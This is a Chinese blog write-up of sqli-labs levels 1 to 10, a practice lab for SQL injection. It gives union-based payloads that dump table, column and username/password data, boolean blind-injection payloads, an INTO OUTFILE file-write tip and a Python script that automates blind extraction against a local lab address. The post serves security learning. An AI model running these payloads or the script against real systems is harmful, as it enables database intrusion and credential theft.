sqli-labs修炼【1-10】

作者: iamblackcat | 来源:发表于2019-06-21 16:44 被阅读3次

    摘要:本篇是关于sqli-labs第1到第10关的闯关记录

    Less-1

    • 单引号闭合,有错误提示,有查询返回点

    根据什么来判断是否存在注入呢?我们输入id=1返回正常,并查询出了相关结果,当我们的id=1'时,返回不正常,显示有语法错误,此时,我们假定后端的SQL语句是这样的SELECT * FROM xxx WHERE id ='1''也就是说,我们假定它是以单引号闭合的,而多出来的单引号造成了报错,那么我们需要来验证我们的假设。

    验证假设我们可以用id=1'--+在url框里面,--+编码后就是#注释符,但注意在post注入时没有url编码,--+是没有用的;所以--+会注释掉后面的'(单引号),若不会报错,则说明我们假设正确。并据此推断出SQL语句的闭合方式。

    根据我们前面介绍的MySQL的相关前提来构造畸形的SQL语句,来达到我们的目的。

    先用order by找出字段数

    payload:

    ?id=1' order by 1 --+

    ?id=1' order by 2 --+

    ?id=1' order by 3 --+

    ?id=1' order by 4 --+

    image
    image
    order by本意在有多个结果的时候,根据order by后的字段进行某种排序(加参数),根据mysql的官方文档
    select_expr [, select_expr …] [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} [ASC | DESC], …]
    

    数字代表位置索引,order by 3也即意为以第三个字段排序;当我们order by 4的时候,报错,表名没有该列,也意味着表中只有三列。

    接下来找出回显位置

    payload: ?id=0' union select 1,2,3 --+

    image
    union将两个SQL语句连接,这里要注意id是等于0的,前一个SQL会出错,因为没有id是等于0的,所以将会执行union后的SQL语句,暴露出了两个回显的位置。

    爆表爆字段爆值

    payload:

    ?id=0' union select 1,datebase(),3--+

    ?id=0'union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()--+

    ?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

    ?id=0'union select 1,group_concat(username),group_concat(password) from security.users
    --+

    MySQL基础那篇提到过database()表示当前数据库

    image

    group_concat()将结果郑赫整合在一起,因此可以返回所有的结果,这里有个细节;查询出来的结果可以看出只有四个表,是有重复的,但是每个表名重复的个数又不尽相同,这是为什么呢?其实这暴露了每个表的字段数,可以查看information_schema.columns的结构,在结合我们的SQL语句,就很明了了。

    image image image

    Less-2

    • 无需引号闭合,有错误提示,有查询返回点

    每一步与第一关类似,只是无需引号闭合

    image

    Less-3

    • 单引号+括弧闭合,有错误提示,有查询返回点

    每一步与第一关类似,闭合方式为单引号+括弧

    image

    Less-4

    • 双引号+括弧闭合,有错误提示,有查询返回点

    每一步与第一关类似,闭合方式为双引号+括弧

    image

    Less-5

    • 单引号闭合,有错误提示,无查询返回点

    正式进入盲注了,要像对待第一关一样认真,搞明白,后面的关卡才可以举一反三。盲注只会告诉我们“是”或“不是”,因此可以按照下面的步骤进行手注。

    找出闭合方式

    我们的第一步要找出是否存在注入漏洞,找出闭合方式,判断闭合方式,我们前面给出了方法,但其实是武断的,随着学习的深入,这里给出更为可靠的判断方法。(还需要认识要用到的截取函数,可以参考这篇文章

    ?id=1' and 1=1 --+

    ?id=1' and 1=2 --+

    为什么说前面给的方法武断呢?这是因为,在SQL语法中,引号是可以包含的,单引号可以包含在双引号中,我们payload如:?id=1' --+,回显正常,如果按照最初的方法,我们会认为这里的闭合方式就是单引号闭合,而实际上,,当闭合方式为双引号闭合时,因为单引号可以被包含在双引号中,也会回显正常。

    而当前这种方式的时候,如果确实为单引号闭合,and 1=1and 1=2会被当作SQL语句处理,那么两条语句返回肯定是不同的。如果是双引号闭合,因为and后的语句不会被认为是SQL语句,而是普通的字符串,则返回相同。

    爆数据库名

    payload:

    ?id=1' and substr(database(),1,1)='s'--+

    image

    substr(database(),x,y)函数表示从x(从1开始)截取y个database()(当前数据库名字)的字符。以此类推,可以遍历出当前数据库的名字

    爆表的个数;爆表名称字符串长度,进而爆出表的名称

    payload

    ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4
    --+

    ?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
    --+

    ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
    --+

    image

    这里,先看substr函数里面的部分,select语句查询当前数据库中的表,又使用limit函数来限定返回第1个(我们第一步爆出表的个数在这里就有用了),substr获得这个表的名称,length函数再获得它的长度,以此类推最后便可以判断出该表名称中字符的个数。

    image

    在这里,select语句查找数据库中的表,使用limit限制从第0个(即第一个)开始,有用substr截取从第一个开始一个字符,拿这个字符与e作比较。我们可以通过修改limit后的0和substr三个参数中第二个参数:1来进行遍历,从而获得所有的标的名称。因为我们已经知道第一个表为emails第一个字符为e所以它显示“you are in ......”

    image

    爆字段个数;爆字段名称字符串长度,进而爆出字段名称

    可以参考前面爆表名称的时候的步骤,做到举一反三。

    payload:

    ?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2
    --+

    ?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=2
    --+

    ?id=1' and (substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))='i'
    --+

    image image image

    手注是十分十分累的,交给Python吧,下面的脚本是我按照上面的思路写的,一个很辣鸡的面向过程的思路;(ps:直接运行会直接让服务器崩掉的,所以查询出来的结果是没有后半截的,建议理解了后进行修改,只跑单个表,减缓服务器的压力;另外,ip地址:192.168.137)

    #!/bin/usr/python3
    #-*- coding: utf-8 -*-
    
    import requests
    
    url = "http://192.168.137.75/sqli-labs/Less-5/"
    IN = len(requests.get(url+'?id=1').text)
    OUT = len(requests.get(url+'?id=0').text)
    DATABASE = ''
    table = ''
    TABLES = []
    COLUMNS = []
    
    def fDatabse():
        global DATABASE
        for i in range(1,20):
            for j in range(97,122):#都是小写的,97到122足矣
                payload = "?id=1' and substr(database(),"+str(i)+",1)='"+chr(j)+"'--+"
                # print url+payload
                if(len(requests.get(url+payload).text)==IN):
                    #print chr(j)
                    DATABASE = DATABASE+chr(j)
                    break
            if(len(requests.get(url+"?id=1' and substr(database(),"+str(i)+",1)=''--+").text)==IN):
                break#测试可节省一半以上时间
    
    def fTables():
        global TABLES
        global table
        table_name = ''
        tables_number = 0
        table_length = []
    
        for i in range(10):
            payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=%d--+" % (i)
            if(len(requests.get(url+payload).text)==IN):    #我要是会面向对象该多好,这里一定省很多力
                tables_number = i
                break
        #打印数据表的长度
        print(tables_number)
    
        for i in range(tables_number):
            for j in range(20):
                payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d--+" % (i,j)          
                #print(url+payload)
                if(len(requests.get(url+payload).text)==IN):
                    table_length.append(j)
                    break
        #打印出数据表的长度的列表
        print(table_length)
    
        for i in range(tables_number):
            for k in range(table_length[i]+1):
                for j in range(97,124):
                    payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='" % (i,k) 
                    payload = payload + chr(j)+ "'--+" 
                    #print(payload)
                    if(len(requests.get(url+payload).text)==IN):
                        table_name = table_name+chr(j)
                        break
            TABLES.append(table_name)
            table_name = ''
        print(TABLES)
    
    def fColumns():
        flag = 0
        columns_number = []
        column_name = ''
        global COLUMNS
        print(TABLES[1])
        for i in TABLES:
            for j in range(1,12):
                payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (i,j)
                #print(payload)
                if(len(requests.get(url+payload).text)==IN):
                    columns_number.append(j)    #表中的字段的个数
        for i in range(len(TABLES)):            # 作为表的个数
            for j in range(int(columns_number[i])): #j就是每个表中的列的个数
                for k in range(1,10):               #k作为字段的长度,我们没有判断,按20算最长,配合break,
                    for l in range(95,123):     #l作ascii码索引
                        payload = "?id=1' and (substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))='%s'" % (TABLES[i],j,k,chr(l))
                        print(url+payload+"--+")
                        if(len(requests.get(url+payload+"--+").text)==IN):
                            column_name = column_name+chr(l)
                        if(len(requests.get(url+payload[:-1]+"' ' --+").text)==IN):
                            print(url+payload+"--+")
                            flag  = 1
                            break
                    if(flag==1):
                        flag = 0
                        break
    
                COLUMNS.append(column_name)
                column_name = ''
        print(COLUMNS)
    
    fTables()
    fColumns()
    

    Less-6

    • 双引号闭合,有错误提示,无查询返回点

    参照第五关,需将闭合方式改为双引号闭合

    Less-7

    • 单引号+括弧+括弧闭合,无错误提示,无查询返回点

    可以通过盲注的思路通关,但是这里提示要用outfile
    SELECT ... INTO OUTFILE将语句结果集写入到文件中,也就是说让我们练习使用这个语句向服务器后台写文件,第七关是不会直接显示错误提示信息的,通过对前面第五关的测验,发现问题所在,其中1,2,3数字的位置可以替换为我们的SQL语句,将需要的信息写入后台的文件后再访问该文件查看

    image image

    Less-8

    • 单引号闭合,无错误提示,无查询返回点

    真正意义上的盲注,不过方法还是相同的

    image

    Less-9

    • 时间盲注,暂pass

    Less-10

    • 时间盲注

    相关文章

      网友评论

        本文标题:sqli-labs修炼【1-10】

        本文链接:https://www.haomeiwen.com/subject/oihuqctx.html